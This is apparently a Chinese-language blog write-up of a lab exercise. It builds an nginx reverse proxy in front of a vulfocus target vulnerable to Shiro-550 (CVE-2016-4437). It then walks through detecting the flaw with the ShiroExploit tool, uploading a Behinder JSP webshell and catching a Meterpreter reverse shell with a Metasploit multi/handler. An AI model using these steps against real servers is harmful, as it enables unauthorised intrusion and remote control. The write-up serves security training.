shiro不出网的打法

shiro不出网的打法

Author:Mi2ac1e

0x01 环境搭建

安装NGINX

apt update
apt install nginx

修改配置文件：

如果你找不到自己的nginx配置文件，需要使用

/usr/sbin/nginx -t

进入对应文件夹修改：

cd /etc/nginx/
vim nginx.conf 

修改为：

server {
        listen       80;
        server_name  www.123.com;
    location / {
        proxy_pass http://10.10.10.15:38228;
        index  index.html index.htm index.jsp;
    }
}

在这一步，因为过于菜鸡导致一开始这个server{}被我直接粗暴的复制到了http{}的括号外，导致nginx服务起不来。应该将这个放到http的内部。

重启nginx服务。

systemctl restart nginx

绑定HOST：

Linux：

vim /etc/hosts

Windows10：

这里需要注意，由于windows10家庭版限制了一些东西，没有权限修改Host文件。我的解决办法如下：

桌面新建bat,内容：cmd.exe 保存

右键，以管理员权限运行

之后输入：

notepad %windir%\system32\drivers\etc\hosts

即可修改，依旧是绑定HOST

访问www.123.com

已经可以访问到了。

同时这里我们会发现，如果直接访问这个IP，会出现这个界面：

相信在做信息收集时都有遇到过这种界面，那么如果我们知道了他绑定的这个域名，或许就会发现一些脆弱的内网资产了~

0x02 网络拓扑

Ubuntu20.4 NGINX反向代理服务器

10.10.10.20(内)

192.168.72.235(外)

Ubuntu20.4 内网服务，搭建有存在shiro550(CVE-2016-4437) 使用的靶场环境来自vulfocus

10.10.10.15

0x03 漏洞利用

0x031 Getshell

shiro检测工具：

https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51

直接把可能存在shiro550的url丢进来：

之后会有几种判断漏洞是否存在的方式，然而由于目标机器不出网导致前几种方式失败，例如选择第一种：

所以强烈建议使用第四种，静态资源：

随便找一个css等：

可以发现已经存在shiro了，这时候可以直接选择下面的"简便操作-->获取webshell"，他这个默认上传的webshell在config目录，我是直接把shell.jsp换成了冰蝎的Jsp马

激动人心的写马环节：

连接成功，拿到了处于内网10.10.10.15的flag

0x032 反弹metepreter shell

没怎么用过冰蝎，忽略了自带的反弹shell的这些操作。

use exploit/multi/handler 
set payload java/meterpreter/reverse_tcp 
java/meterpreter/reverse_tcp
show options
set lhost 0.0.0.0
set lport 9090
run

设置完了以后，在冰蝎直接点：

就直接连接过来了。